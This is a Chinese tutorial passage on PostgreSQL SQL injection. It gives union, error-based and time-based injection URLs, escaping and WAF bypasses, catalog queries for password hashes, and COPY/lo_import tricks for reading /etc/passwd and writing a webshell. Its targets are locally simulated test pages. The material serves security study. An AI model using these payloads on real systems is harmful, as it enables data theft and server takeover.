Postgres注入方式总结

Postgres注入方式总结
Postgres注入方式总结

Postgres注入方式总结

By zcgonvh(zcgonvh@https://www.360docs.net/doc/e64414052.html,)

Blog: https://www.360docs.net/doc/e64414052.html,

2013-06-10

目录

0x00 前言 (1)

0x10 基本语法 (1)

0x11 多行查询与代码块 (1)

0x12 Limit (1)

0x13 Unknown类型 (1)

0x14 数据类型转换 (3)

0x20 Schema与目录对象 (3)

0x21 什么是Schema (3)

0x22 通过pg_catalog获取数据库关键信息 (4)

0x23 通过information_schema获取数据库架构信息 (4)

0x30 通过注入点获取数据 (5)

0x31 Union-Select型注入点 (5)

0x32 无输出显错型注入点 (7)

0x33 无输出无显错型注入点 (8)

0x40 构建更加精巧的注入语句 (9)

0x41 利用函数聚合字段/结果集 (9)

0x42 利用多行执行进行复杂查询 (10)

0x43 利用多行执行忽略数据类型敏感限制 (10)

0x44 利用美元符绕过GPC与pg_escape_string (11)

0x45 利用特性绕过W AF (11)

0x46 多次带入执行时的处理方法 (12)

0x50 文件操作:Copy、AdminPack与Large Object (12)

0x51 缺陷严重的Copy (12)

0x52 基本无用的adminpack (14)

0x53 使用Large Object实现文件操作 (15)

0x60 利用UDF函数获取反弹Shell (17)

0x70 附录A:常用函数 (21)

0x80 附录B:附件 (21)

0x81 测试数据库与测试站点 (21)

0x82 UDF的一些注意事项 (22)

0x83 常用注入语句 (23)

0x00 前言

Postgres(以下或简称pg)在国内并不常见,而在国外的流行程度却不下mysql。记得第一次遇到pg时由于网上关于pg注入的知识(尤其是利用pg专有特性的知识)极少,大多都是一样的内容转来转去,其中还夹杂了若干未验证过的错误,导致走了很多弯路。痛定思痛,为了防止以后初相类似的状况干脆自己本地搭建起pg环境,模拟注入点并结合查询分析器pgadmin进行分析,所幸略有收获,最后总结出这篇文档。

本文档测试环境为pg9.2(win32、linux) + win2003sp2(x86)/ubuntu 12.04(x86) + apache2.2.22(win32 wamp) + php 5.3.13(win32 wamp),测试以查询分析器为主,以测试页面作为辅助。文档旨在总结postgres注入方法,注入点均为本地模拟而成,不会出现实战注入过程。

为保证完整的逻辑性,文章将从较为基础的部分进行讲解,如感觉冗长可以选择性跳过。测试中难免有疏漏错误之处,如发现错误还请指出,不胜感激。

文章中所用的测试数据库建立语句、测试页面代码、UDF程序与源码及注意事项、常用的注入语句,均可在0x80 附录B:附件中找到。

感谢c4bbage在测试中的帮助,对于这种任劳任怨的朋友只能默默的报以感激。

免责声明:本文档旨在安全研究,通过探讨攻击原理从而形成防御对策。实战中请确认已获取目标站点站长授权或本地搭建测试系统操作。本人对因本文档所述攻击方法而造成的各种直接与间接损失不负有任何法律责任。

0x10 基本语法

Postgres的基本语法与mysql类似,如果对手工注入或sql语法有较多了解不会有任何困难。

这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档:

https://www.360docs.net/doc/e64414052.html,/docs/9.2/static/sql-syntax.html

(注:所有的sql语句不区分大小写,无论是操作符还是字段名,Postgres都是大小写不敏感的)。

0x11 多行查询与代码块

Postgres支持多行查询,语句间的分隔符为分号,同时也只有分号是合法的分隔符。

如果多行执行的语句中有超过一个语句会返回结果集,则只保留最后一个。

例如:执行查询语句

select 1;select 2;

获取的结果为2。

Postgres支持以begin;开始,以end;结束的代码块,但代码块内执行的语句不会有任何返回结果。同时如果代码块之前一条语句会返回结果,则先前语句返回的结果集会被覆盖(即不返回任何结果)。

例如:执行查询语句

select 1;begin;select 2;end;

不会返回任何结果集;

执行

begin;select 1;end;select 2;

返回2。

0x12 Limit

在postgres中,limit的语法为

select [field list] from [table] limit count offset start;

其中start为起始位置(以0开始),count为总数。

0x13 Unknown类型

Postgres输入的所有字符串都被认为是Unknown类型。也就是输入本身是未定义类型,由数据库根据

操作进行匹配转换,如果匹配失败则报错。

Unknown类型有两种输入模式:单引号转义模式与美元符逃逸模式。

在单引号转义模式中允许使用前缀E/U&/B/X表示转义字符串/Unicode字符串/位串,其中E表示进行c语言风格的转义,U表示进行Unicode转义,并支持自定义转义符,B和X代表后续跟随的是一个bit序列。例如以下查询都将返回制表符(0x09):

select E'\t';

select E'\012';

select E'\x09';

select E'\u0009';

select U&'\0009';

select U&'!0009' uescape '!';

B和X会将其后跟随的字符串转换为bit序列(即二进制数),例如以下查询都将返回bit值01010101(如果是在php或查询分析器中查询,则返回字符串01010101):

select B'01010101';

select X'55';

注:在postgres中由一个名为standard_conforming_strings的变量控制在没有任何前缀时是否自动进行c语言风格的转义。这个变量是一个text型的字符串,如果值为on,则表示只有以postgres风格显式声明转义前缀的字符串会进行转义,如果不加前缀的话,则不会进行任何转义(除了两个单引号会被转换为单引号之外);如果值为off,则表示没有任何前缀的字符串将自动进行c语言风格转义。这个值在9.1之前的版本为off,而在9.1及之后的版本为on。

例如,在standard_conforming_strings为on时,以下查询会成功执行并返回反斜杠:

Select '\';

而在为off时,则会出现“未结束的引号字串”的错误信息。

美元符逃逸模式是postgres专有的字符串声明格式,其目的是为了避免由于字符串中包含大量的反斜杠或单引号而进行的转义,其构成方式由一个美元符号($),一个可选的零个或多个字符“记号”,另外一个美元符号,一个组成字串常量的任意字符的序列,一个美元符号,以及一个和开始这个美元符包围的记号相同的记号,和一个美元符号组成。例如以下查询均返回单引号:

Select $$'$$;

Select $tag$'$tag$;

在美元符逃逸模式中没有任何字符串需要转义,也没有任何字符串会被转义,转义字符与前缀均不可用。唯一要注意的是被转义字符中不能出现与包围这些字符串的记号相同的字符串,例如上例中第二个语句中的字符绝不能出现$tag$,否则会在出现$tag$的地方截断,同时将之后的字符串作为查询的别名。如果查询的别名也由$....$开始,同时没有匹配的结束标记,则会返回一个错误。例如以下查询返回单引号,同时将指定别名test$tag$:

select $tag$'$tag$test$tag$;

而以下语句会返回“未结束的$符号引用的字符串”的错误信息:

Select $tag$'$tag$$test$tag$;

另:以U&为前缀、双引号包含的字符串会作为表名、字段名与函数名等关键字使用。例如:

Select U&"\0061" from test; --等同于select a from test

select a from U&"!0074est" uescape '!'; --等同于select a from test

select U&"!0063hr" uescape '!' (97); --返回a,等同于select chr(97)

更多的信息参考:

https://www.360docs.net/doc/e64414052.html,/docs/9.2/static/sql-syntax-lexical.html

0x14 数据类型转换

Postgres支持两种数据类型转换方式:使用cast语句或::运算符。

cast 语句的语法为:

cast([field/value] as type)

例如:

select cast( '1' as int);

返回数字1

::运算符用于值或字段之后,效果同cast,但在语法上简便许多,在需要进行多次转换进行报错的时候无疑是很方便的。

例如:

select '1'::text::int;

返回数字1

注:在Postgres中,转换会先判断类型,某些类型之间是不能互相转换的(例如bytea和int),但几乎所有的类型都可以转换为text。这样通过转为text再转为int的双次类型转换报错在注入中相当有用,具体参见0x32 无输出显错型注入点。

0x20 Schema与目录对象

关系型数据库一般都有着存放库、表、字段之间对应关系的表(或视图),postgres也不例外。

所不同的是postgres多出一个Schema对象,这也是postgres与其他数据库最大的几个不同点之一。

0x21 什么是Schema

Schema是Postgres中的一个特殊对象,Schema可以看作一个数据库中单独分割出的独立的数据库系统。利用Schema可以进行权限划分或水平的功能分割操作。

由于Postgres认为数据库是一个独立的个体,所以跨库操作是不允许的。但Schema属于数据库本身的一部分,所以跨Schema读取数据是完全可行的(前提是需要拥有读取的权限)。

跨Schema读取数据有两种方式,第一种是类似于mysql跨库查询的语句,例如执行查询:

Select * from Manager.admin;

将返回Manage r Schema中表admin的内容。

或者使用

set search_path to [Schema Name];

修改查询路径。

例如执行:

set search_path to manager;

select * from admin;

也将返回Manager Schema中表admin的内容。

注意:这条语句在注入中不会起到任何作用。

另:默认使用的Schema名称为public,这是postgres建立一个数据库时自动生成的Schema。

Postgres中有一种名为目录的特殊的Schema,它由系统在建立数据库时生成。目录所包含的对象叫目录对象,可以理解为Schema中的表;目录对象中包含字段。

默认情况下会生成两个目录:pg_catalog和information_schema。Pg_catalog中存放当前数据库的对象,例如系统函数、默认视图、大对象等。

information_schema存放的则是当前数据库的架构信息,具体参见0x23通过information_schema获取数据库架构信息。

0x81 测试数据库与测试站点即为一个Schema使用的例子,网站将前台数据保存至默认Schema中,同时将所有的后台信息保存至Manager Schema中,这样可以省去很多不必要的表前缀,方便数据库管理。

注意:Schema是Postgres中极为重要的特性,在注入获取数据时一定不能忽视Schema。

0x22 通过pg_catalog获取数据库关键信息

所有的数据库名称存放于pg_database目录对象的datname字段中,这个目录对象与字段任何用户均可读取。

例如:以下语句会返回所有的数据库名称。

Select datname from pg_database;

注意:名称以template开头的数据库为postgres自动生成的临时数据库,不需要理会。

数据库的配置信息储存于pg_settings目录对象中,其中name字段为设置选项的名称,setting字段为选项的值。

这些配置信息中最为重要的便是几个目录信息:数据库文件目录(data_directory)与数据库认证配置文件路径(hba_file),不过只有在super权限下才能进行读取。

例如,使用以下语句会返回以上两个目录信息(需要super权限)

select name,setting from pg_settings where name in ('hba_file','data_directory');

数据库的用户信息存放于pg_authid目录对象中,只有在super权限下才能进行读取(super可以看作是mssql中的sysadmin,是postgres中最高的权限组;无论何时,postgres用户总拥有最高的权限)。

这个目录对象记录了所有的用户信息,最为重要的是用户名及加密后的密码。其中用户名储存于rolname字段,密码储存于rolpassword字段。

使用以下语句可以查询出数据库所有的用户与加密后的密码:

select rolname,rolpassword from pg_authid;

注:postgres密码加密方式为 'md5'+md5(密码+用户名)

pg_user是一个视图,其中映射了pg_shadow视图(这个视图映射了pg_authid的部分字段)的内容---除了密码被替换为一串星号,其余的数据完全相同。

事实上我们只需要关心这个视图内的一个字段:usesuper,这个字段为一个布尔值,表明是否为super 用户。例如,使用以下语句即可判断当前用户是否具有super权限:

select usesuper from pg_user where usename=current_user;

0x23 通过information_schema获取数据库架构信息

和mysql类似,postgres中也有储存数据库表段与字段的information_schema对象,所不同的是mysql 中的information_schema是独立的数据库,而在postgres中为在数据库中共享的目录对象。

information_schema目录存放了当前数据库全部的架构信息,例如全部的表名,表中全部的字段,字段之间的关系等等。在注入利用中,最需要关心的只有三点:所有的Schema、所有的表与其所属的Schema、所有的字段与其所属的表。

所有的Schema信息存放于schemata目录对象中,schema_name字段存放的就是Schema的名称(可以

看到information_schema也在其中)。不过很遗憾,非super权限不能从这个目录对象中读取到任何内容。

所有的表名存放于tables目录对象中,所有的字段名存放于columns目录对象中,这两个表在非super 用户下也可以进行读取操作。

这两个表均包含table_schema字段,用以表示所属的Schema。这样利用以下语句即可获取完整的Schema信息:

select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

注意:这里排除了pg_catalog与information_schema两个目录的信息并将其分组,从而只剩下不重复的用户表名。

所有表信息则存放于tables目录对象的table_name字段中,使用以下语句即可查询出所有的用户表:select table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

所有字段信息则存放于columns目录对象的column_name字段中,同时由table_name字段记录对应的表名。使用以下语句即可查询出所属于Manager.admin的所有字段。

select column_name from information_schema.columns where table_schema='manager' and table_name='admin';

0x30 通过注入点获取数据

在注入点进行操作的大多时候离不开错误信息,在可以获取错误信息同时需要手工注入的情况下,不建议使用火狐进行注入测试。原因是如果是语法错误,Postgres返回的错误信息类似于:

注意2下面的^符号,代表第二个字段类型不匹配。

而在火狐中,会显示为:

^符号的位置不在2的下方,这样的话在定位类型不匹配的字段时会更加繁琐。

注意:本章只结合测试程序对常见的几种注入点进行简单讲解(这里假设读者对手工注入与sql查询有一定的基础),具体的注入语句请根据所需功能结合其他章节与0x70 附录A:常用函数中所列举的函数自行构造。

0x31 Union-Select型注入点

Union-Select型注入点的特点是数据库通过执行Union Select语句返回的结果集中有一行或多行会被web应用程序处理并返回结果,也是最常见最常用的注入方式。Union-Select型注入根据显示方式可以分为Union-Select,Union-List,Union-Download四种,其中由于前两种极为常见这里一笔带过,重点对Union-Download两种较为少见的注入点体现进行讲解。

Postgres在进行union select操作时对数据类型是敏感的,如果类型不匹配的话,则会返回“Union 类型的类型 XXX与XXXX不匹配”的错误。由于Unknown类型可以转换为绝大多数类型,所以可以使用'1','2','3'……代替1,2,3,从而实现自动匹配。

注意:在任何时候都不建议用null进行匹配,因为有时可能会因此导致缺少一个甚至多个重要的输出位置,用单引号或美元符引起的字符串作为替代是最好不过的做法了。

由于Union会根据构造的语句在页面“正常”地显示一些信息,所以在注入时无疑是极为方便的。

测试站点提供的Content.php模拟了Union-Select型注入,访问:

Content.php?id=1 and 1=2 union select 1,'2','3','4'--

即可发现正常的页面中出现了3、4两处显示位置,将3、4替换为其余语句即可进行进一步的注入。

此时访问:

Content.php?id=1 and 1=2 union select 1,'2',count(*)::text,'4' from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--

即可获取Schema总数。

访问:

Content.php?id=1 and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3 limit 1 offset 0--即可获取第一个Schema名称,逐渐修改offset的值即可获取所有的Schema名称。

Image.php则模拟了一种特殊的Union-Select型注入,这里暂时称之为Union-Image型注入。这种注入的主要不同点在于数据库中储存的字段不是常见的数值或字符串,而是bytea型数据(类似于MSSQL中image类型)。bytea可以看作是字节数组(byte-array),由于postgres允许将varchar/text类型转换为bytea,同时也可以自动从Unknown类型进行转换(执行这两种转换时,会将字符串代表的内容转换为对应的以数据库默认字符编码转换后的值,默认为UTF8),所以实际在注入时并没有太明显的区别。

要注意的事项有两点:

1.由于服务器脚本在处理返回字段时会将此字段表达的字节直接输出到Response流中(只有这样用户才能从浏览器中看到完整的图片),所以某些需要判断关键字的注入工具在这里是不起作用的,只能通过手工进行注入。

2.由于服务器可能会返回image/jpeg头,在浏览器中测试可能导致即使注入成功也只会返回一个错误图片的红叉,所以建议一旦确定是Union-Image型注入,建议转为使用Burp等工具进行操作。

例如,访问:

Image.php?id=1 and 1=2 union select 1,'2','%e6%96%b0'--

则会返回字符“新”(%e6%96%b0为URL编码后经过UTF8编码后的“新”,仔细体会其中的编码过程)访问:

image.php?id=1 union select 1,'',table_schema::text::bytea from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--即可列出第一个Schema名称,逐渐修改offset的值即可获取所有的Schema名称。

List.php模拟了Union-List型注入。顾名思义,Union-List型注入点所在脚本文件会遍历查询返回的结果集中每一行,并在将其处理后输出到页面。

访问:

List.php?type=article' union select 1111,'2222','3333','4444'--

会发现列表中多出了一条名为3333的项,同时其链接指向1111,可以确认1、3为两个显示位。

此时访问:

List.php?type=article' and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 3--

即可列出所有的Schema。

最后一种暂时称之为Union-Download型注入点,也就是服务器将上传的文件保存在某个目录下(例如为了安全起见,统一保存在网站目录上一级中的uploads目录中,即/../uploads,以防止上传攻击),同时在数据库中保存文件的路径。用户下载文件时服务器脚本根据传递的id获取文件路径,读取文件并直接输出到Response流。

这种Union-Download型注入点并不是非常常见,但一旦发现,则必然是一个危害性不亚于注入的任意文件下载漏洞。在非文件服务器与web服务器分离的情况下可能通过此注入点下载网站所有脚本并进一步攻击,危害可谓极大(在linux权限划分极为严格的情况下,postgres用户是不可能访问网站目录的。而此漏洞却突破了这个限制,危害自然不言而喻)。

Download.php模拟了此种注入的情形,访问:

Download.php?id=1 and 1=2 union select '1','/download.php','3'--

即可下载download.php文件的内容。

0x32 无输出显错型注入点

其余所有的不能通过闭合语句使用Union联合查询获取返回结果的注入点这里均称为无输出型注入点。由于不能“正常”的获取返回信息,所以要借助强制类型转换所导致的报错来获取信息,这就需要一个前提:服务器脚本可以返回一些数据库错误信息(这其实是很常见的)。

在这种注入点进行注入时需要根据爆出的错误信息闭合查询语句,之后利用可以多行执行的特性在语句后加入其他语句进行查询并将结果进行强制类型转换,最后根据错误提示获取所需信息。

测试程序中Update.php模拟了这种注入(请不要在URL进行注入,那不是本节要讨论的内容),在输入新名称的文本框输入单引号会返回以下错误信息:

可以看到输入内容被带入到Update语句中,由于Update不会返回结果集,所以只能使用报错的方式注入。

输入:

111' where id=1;select ('!'||count(*)::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x--

并提交,返回以下错误信息:

由此可知Schema的总数为2。注意语句中的'!'||count(*)::text,这里表示将总数转换为text并在前面添加一个叹号(与oracle类似,postgres的字符串连接运算符为||),添加叹号目的是防止由于count(*)转换为text值之后仍旧代表有效数字的字符串时转换成功而不会返回错误信息。建议在使用任何报错语句时均为结果加上一个非数字前缀(例如这里的叹号),以防在某些时候获取失败。

输入:

111' where id=1;select ('!'||table_schema::text)::int from( select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1)x limit 1 offset 0--

并提交,返回以下错误信息:

由错误信息可知第一个Schema名称为manager,逐渐修改offset的值即可获取所有的Schema名称。

当然,这种方法也适用于Union型注入点,在够构造出精巧的报错语句后使用现成的报错语句无疑是很方便的(参见0x40 构建更加精巧的注入语句)。

注意:如果导致出错的强制类型转换在select之后,同时语句包含limit,则limit无效,总是返回原语句去掉limit后查询所得结果的第一行相应字段进行强制类型的转换出错信息。

例如:表test包含varchar类型字段a,b,a字段的值为a1,a2……b字段的值为b1,b2……

执行

select a,b from test limit 1 offset 1;

返回:a2 b2

执行select a::int from test limit 1 offset 1;

返回:无效的integer输入格式“a1”

解决方法是使用嵌套查询:

select b::int from (select '!'||a as b from test limit 1 offset 1)x;

返回:无效的integer输入格式“a2”

每次进行查询都相当于进行一次事务操作,如果出错的话,则会执行回滚(rollback)操作。

例如在大对象导入时(具体参见0x53 使用Large Object实现文件操作),如果想获取返回的oid,使用以下语句虽然会得出错误信息,但大对象并不会成功导入:

Select ('!'||(lo_import('/etc/passwd')::text))::int;

原因就是在执行查询前创建了一个事务,并将此次查询放在这个事务中。当查询出错时会进行回滚操作,导致lo_import的操作被无效化。

在这种情况下,只能进行分开的两次注入,并借助临时表保存结果,例如第一次注入时执行查询:Create table tempAXU78(oid id);Insert into tempAXU78 Values(lo_import('/etc/passwd'));-- 第二次即可执行以下语句获取结果:

Select ('!'||(id::text))::int from tempAXU78;

最后不要忘记删除临时表:

Drop table tempAXU78;

0x33 无输出无显错型注入点

当服务器脚本屏蔽了错误回显,同时不能使用union的情况下,可以采用盲注的手法获取数据。

盲注的手法基本可以分为以下两种:

1.常规盲注,通过判断页面正确与否获取信息。

这种盲注手法需要用到两个函数:substr和ascii。substr用于从指定位置截取指定长度的字符串,ascii用于将字符转换为ascii码,具体参见0x70 附录A:常用函数。

获取到ascii码之后,将其与数字进行比较即可获取字符串的值,例如以下条件语句会在当前的Schema名称的首字母为小写时返回true:

ascii(substr(current_schema(),1,1)) between 97 and 112

通过构造不同语句,逐个获取字符并比较,即可取得任何的信息。

2.基于时间的盲注,通过判断延时语句是否执行来获知条件是否为真或语句是否执行。

在postgres中,延时的语句为

pg_sleep(int)

其中int表示要等待的秒数。

延时语句一般与多行执行共同作用,由于postgres多行执行会覆盖前前一行执行时返回的结果集,导致web应用程序会因为不能从结果集中获取结果而出错。所以为了判断前一条语句是否执行,加入延时语句是很方便的做法。

例如:以下语句会创建一个testADY7FD表,同时如果表创建成功,则会延时2秒:

(闭合前方查询);Create table testADY7FD;select pg_sleep(2) where (select table_name from information_schema.tables where table_schema=current_schema() and table_name='testADY7FD') is not null--

红色的create table语句可以换成其他任意合法的sql语句,同时后面的条件语句也要做出相应修改。

另:如果需要多行执行的语句本身就是一个select语句,则去掉红色的create table部分,并将红色的select语句替换为所需要的语句。

也可以直接利用多行执行导入UDF,之后反弹回一个Shell(参见0x60 利用UDF函数获取反弹Shell)。用UDF反弹Shell结合延时是很方便的做法。

0x40 构建更加精巧的注入语句

由于postgres支持多行执行,导致注入语句有着极大的灵活性。而为了充分利用postgres特色注入仅仅按照常规的注入->后台->shell/注入->脱裤/注入->导出文件->shell是完全不够的(第一种需要后台;第二种大多时候效率较低;第三种在linux下成功率不高,同时站库分离情况下基本无用)。

所以为了深入挖掘postgres注入的潜力,本章将分析postgres查询语句中的一些特性。可以将这些特性结合到注入点中,以做到对注入点最大化、最充分的利用。

0x41 利用函数聚合字段/结果集

在查询多个字段时,可以使用Concat_ws或concat函数将多个字段的结果聚合到一起。这两个函数在使用上与mysql与之同名的两个函数没有任何不同。

例如,以下两条语句均会将表名与其对应的Schema输出出来,并以冒号作为分隔符:

select concat(table_schema,':',table_name)from information_schema.tables where table_schema not in('pg_catalog','information_schema');

select concat_ws(':',table_schema,table_name)from information_schema.tables where table_schema not in('pg_catalog','information_schema');

当需要将某一行中几个字段聚合到一起时,可以使用row函数。例如,以下语句会将所有的Schema、表名与字段名合并为一行并输出:

select row(table_schema,table_name,column_name)from information_schema.columns where table_schema not in('pg_catalog','information_schema');

在需要将某个字段的值聚合到一行时,可以使用array_agg函数。例如,以下语句会在一行输出所有的Schema:

select array_agg(a) from (select table_schema::text as a from information_schema.columns where table_schema not in ('pg_catalog','information_schema') group by 1)b;

当需要把某个查询的结果集作为一行输出时,可以使用array函数。array并不是类似于sum等在查询中使用的聚合函数,而是用于聚合一个查询的结果集。

例如,以下语句会将所有的表名与其对应的Schema聚合到一行并输出:

select array(select concat_ws(':',table_schema,table_name) from information_schema.tables where table_schema not in('pg_catalog','information_schema'))::text;

注意:如果要使用array聚合的结果集中有非text字段,建议将其转换为text。Array函数返回的是一个数组,所以最好将其转换为text并输出。

结合以上的这些内容,可以做到只执行一条语句就能获取所有的表、字段、Schema与其对应关系:with a as (select table_name tname,array_agg(column_name::text)cname, array_agg(table_schema::text)sname from information_schema.columns where table_schema not in ('pg_catalog','information_schema') group by 1 ),b as(select unnest(sname)sname,tname, unnest(cname)cname from a order by 1)select array(select row(sname,tname,cname)::text from b)::text::int;

with语句会将一个或多个查询的结果集保存,并指定别名以供之后的语句调用,unnest是array的反函数,会将一个数组拆分为多个行,最后执行强制类型转换报错。这条语句最终会返回以下错误信息:无效的integer 输入语法: "{"(manager,admin,name)", "(manager,files,managerfile)", "(manager,admin,id)","(manager,admin,password)","(public,images,name)"……(省略部分)。

而如果是一个Union-List型注入,则将最后的查询语句修改为:

Select * from b;

即可列出所有表、字段、Schema。

可以看出:利用好这些聚合函数并构造语句,可以免除使用limit递增这种相对较慢的注入方式,即:将普通的union型注入点转换为union-list型注入点。或者可以更加直观的利用union-list型注入,用处非常大。

0x42 利用多行执行进行复杂查询

当可以通过某些方法比和服务器脚本中的查询语句时,就可以使用多行查询进行更多的操作。由于多行查询可以执行任何合法的sql查询语句,这里不做具体的讲解。

一个典型就是在super权限下通过注入点反弹Shell,具体参见0x60 利用UDF函数获取反弹Shell,这里不多做赘述。

另外,通过闭合服务器脚本中的查询语句并在后面多行执行的语句处执行较为简单的查询语句并报错在一定程度上可以减少构造语句的难度(例如注入点为嵌套在子查询中的Limit型注入,即使在出错页面返回了全部的服务器脚本中查询语句,构造难度也相当大。而在多行查询中只要简单的闭合前面的语句,并在最后加入报错查询语句即可,减少了一部分操作)。

0x43 利用多行执行忽略数据类型敏感限制

由于在postgres中,多行执行总是只能获取最后一行的结果,利用这点可以通过多行执行绕过数据类型敏感的限制。

例如,访问测试站点中:

Content.php?id=2 ;select 1,2,3,4--

会在页面返回3,4

而访问:

Content.php?id=2 union select 1,2,3,4--

则会返回类型不兼容的错误。

注意:利用这个方式的前提是服务器脚本在处理结果集中每一行时使用数字索引而不是字符串索引(因为后面多行查询部分没有指定别名,这样postgres会将字段名/函数名作为字符串索引并返回),如果使用的是字符串索引,将会出错。

这个方法其实并没有太大的意义,只是作为postgres的特性的利用再此顺便说明而已。

0x44 利用美元符绕过GPC与pg_escape_string

在大多时候,postgres会与php在一起使用,这就涉及到转义的问题。由于Postgres数据库默认字符编码为UTF8,所以想要宽字节注入基本是不可能的。

不过postgres不单单有单引号可以表示字符串,使用美元符同样可以。除了需要显示使用转义字符串的情况下,美元符在任何地方都可以代替单引号(包括查询语句、函数参数,等等。同时在美元符包含模式下使用::运算符进行强制类型转化也是合法的)。

而GPC不会对美元符进行转义,这也就给注入带来了可乘之机:

访问测试站点中的:

Content3.php?id=2 union select 1,$$2$$,$$3$$,$$4$$--

可以发现页面中出现了3、4,已经绕过了GPC(GPC与addslashes作用相同)。

pg_escape_string是php官方推荐的用于在使用postgres作为数据库的web脚本中代替addslashes 的函数,这个函数会将单引号转变为两个单引号,而同样的,$$并不会被转义。

访问测试站点中的:

Content4.php?id=2 union select 1,$$2$$,$$3$$,$$4$$--

可以发现页面中出现了3、4,显然pg_escape_string没有起到任何作用。

关于GPC与pg_escape_string的说明,参考:

https://www.360docs.net/doc/e64414052.html,/manual/zh/function.addslashes.php

https://www.360docs.net/doc/e64414052.html,/manual/zh/function.pg-escape-string.php

0x45 利用特性绕过WAF

由于postgres会将双引号中的内容认为是一个表名/字段名,同时在双引号引起的字符串中使用U&前缀转义是合法的,所以当过滤了information_schema等关键名称时,可以将其用双引号引用并在其前面加入U&转义前缀,同时将其中某个字符替换为对应的Unicode表现形式来绕过WAF。

例如:以下语句同样会返回所有的Schema

select U&"tabl\0065_sch\0065ma" from U&"inform\0061tion_sch\0065ma".U&"t\0061bles" where U&"tabl\0065_sch\0065ma"not in (U&'pg_cat\0061log',U&'inform\0061tion_sch\0065ma') group by 1;

注意:类似于

information_schema.tables

这种由点连接的多个部分组成的对象名称,需要将每个部分分别进行转义,并用点进行连接。

在过滤了select[空格],from[空格]等情况下,可使用几个字符中任意一个代替空格:

制表符(\t,0x09)

换行符(\n,0x0a)

分页符(0x0c)

回车符(\r,0x0d)

例如访问测试站点中的:

Content4.php?id=2%09union%09select%091,$$2$$,$$3$$,$$4$$--

同样会在页面中输出3和4

注意:要特别记住其中的分页符(0x0c),防火墙可能会拦截回车换行或制表符,但一般情况下不会拦截分页符。

由于点或减号在后面跟随数字会被postgres认为是一个浮点数/负数,所以使用以下语句绕过过滤select[空格]/[空格]from/where[空格]也是可行的:

Select-1from information_schema.tables where-1<0;

Select.1from information_schema.tables where.1<0;

Join语句会将多个查询的结果集横向合并,所以利用join语句可以绕过过滤逗号的情况,例如访问测试站点中的:

Content.php?id=2union select * from ((((select 1)a join (select '2'::varchar)b on 1=1) join (select array(select table_schema::text from information_schema.tables group by 1)::text x)c on 1=1) join (select '4'::varchar)d on 1=1)--

同样会返回所有的Schema名称。

注意:join语句中必须将unknown类型显式转换为所需类型,否则会出现类似于:

failed to find conversion function from unknown to character varying

的错误。其中的character varying即为所需类型,进行转换即可。

0x46 多次带入执行时的处理方法

有时服务器脚本会将提交的参数与某几个语句进行拼接并执行,这就导致了有时某一条语句可能会执行多次,在某些时候需要避免这种情况(例如导入一个大对象),可以采用以下方法进行避免:(闭合前方查询);create table testSDX78KO();(其余注入语句)

这里会新建一个临时表testSDX78KO,当执行第一次时由于表并不存在,所以会成功执行,在第二次执行时由于表已经存在,则会抛出错误,导致不能继续执行,也就避免了因为多行执行造成的错误结果。

最后不要忘记删除临时表。

0x50 文件操作:Copy、AdminPack与Large Object

0x51 缺陷严重的Copy

网上能够找到的资料中postgres注入读写文件大多都是使用copy操作符。copy可以从将文件导入数据库,或是从数据库导出文件:

例如以下语句实现将c:/windows/temp/files.txt导入test_for_copy表:

create table test_for_copy(data text);

copy test_for_copy(data) from 'c:/windows/temp/files.txt';

之后使用select语句便可进行查询。

看起来似乎很美好,但copy from有三点缺陷:

1.分隔符。默认情况下postgres认为制表符(\t,0x09)为两个字段的分隔符,同时以换行符作为每一行的分隔符。如果要导入的文件中含有制表符,那么制表符至下一个换行符之间的内容都被认为是另一个字段,如果目标表只有一个字段,则会出错。

这其实不是什么太大的问题,copy 提供 delimiter选项用以制定分隔符,例如以下语句将分隔符指定为0x7f(这个符号在绝大多数文本文件内不可能出现):

copy test_for_copy(data) from 'c:/windows/temp/files.txt' with delimiter E'\x7f';

3.遇到\.时会终止并报错。如果一个文件中包含 \. ,那么使用copy from语句导入时会返回“copy 命令结束标记损坏”的错误(原因是\.是copy from stdin模式下的结束标识,具体参考本节最后的官方文档)。

一个典型就是apache的配置文件。大大多数情况下apache配置文件中都有以下语句:

由于出现了\.,所以语句将出错,导致无法导入。而在找不到网站路径时读取配置文件是相当重要且行之有效的方法,出现这种情况非常令人恼火。

3.导入文件编码必须与服务器编码相对应。

Copy from只能导入与服务器编码相同的文本文件(一般为默认值UTF8),如果导入文件中以服务器编码加载时出现无效字符,则会返回“无效的 XXXX编码字节顺序”的错误,其中XXXX为编码名称,如UTF8。

例如,在一个文本文件中写入文本“测试”,并以ANSI编码保存(这样在简体中文操作系统中文件实际的编码为GB2312),执行语句:

copy test_for_copy(data) from 'c:/windows/temp/files.txt';

会返回以下错误信息:

无效的 "UTF8" 编码字节顺序: 0xb2

同样的,既然无法导入不同编码的文件,那么导入二进制文件更加是不可能的。如果通过某些漏洞(例如编辑器带来的目录遍历)获取到服务器重要备份文件路径(非web目录下),结果却无法将其下载下来,这无疑会让人十分恼火。

综上,除了第一个缺陷影响程度不大,后两个缺陷都是致命的。

Copy to 可以将一个表中的字段或一个查询的结果导出到文件中,用于脱裤是很方便的。

例如,以下语句会将files表的内容全部备份到c:/windows/temp/files.txt:

copy files to 'c:/windows/temp/files.txt';

以下语句会将php一句话写入c:/windows/temp/111.txt:

copy (select $$$$) to 'c:/windows/temp/111.txt'

但是copy to也有一个缺点:不能导出二进制文件。任何不能转换为字符串的字节都将被转换为八进制形式,例如以下代码尝试将字节数组{0xfe,0xff,oxbf}写入文件c:/windows/temp/111.txt,但实际上只会写入字符串\\376\\377\\277:

copy (select decode('feffbf','hex')) to 'c:/windows/temp/111.txt';

在某些时候,导出完整的、未经任何修改的原始二进制文件时很必要的(具体参见0x60 利用UDF函数获取反弹Shell),copy to 显然不适合这种情况。

关于copy语句的更多信息,请参考官方文档:

https://www.360docs.net/doc/e64414052.html,/docs/9.1/static/sql-copy.html

0x52 基本无用的adminpack

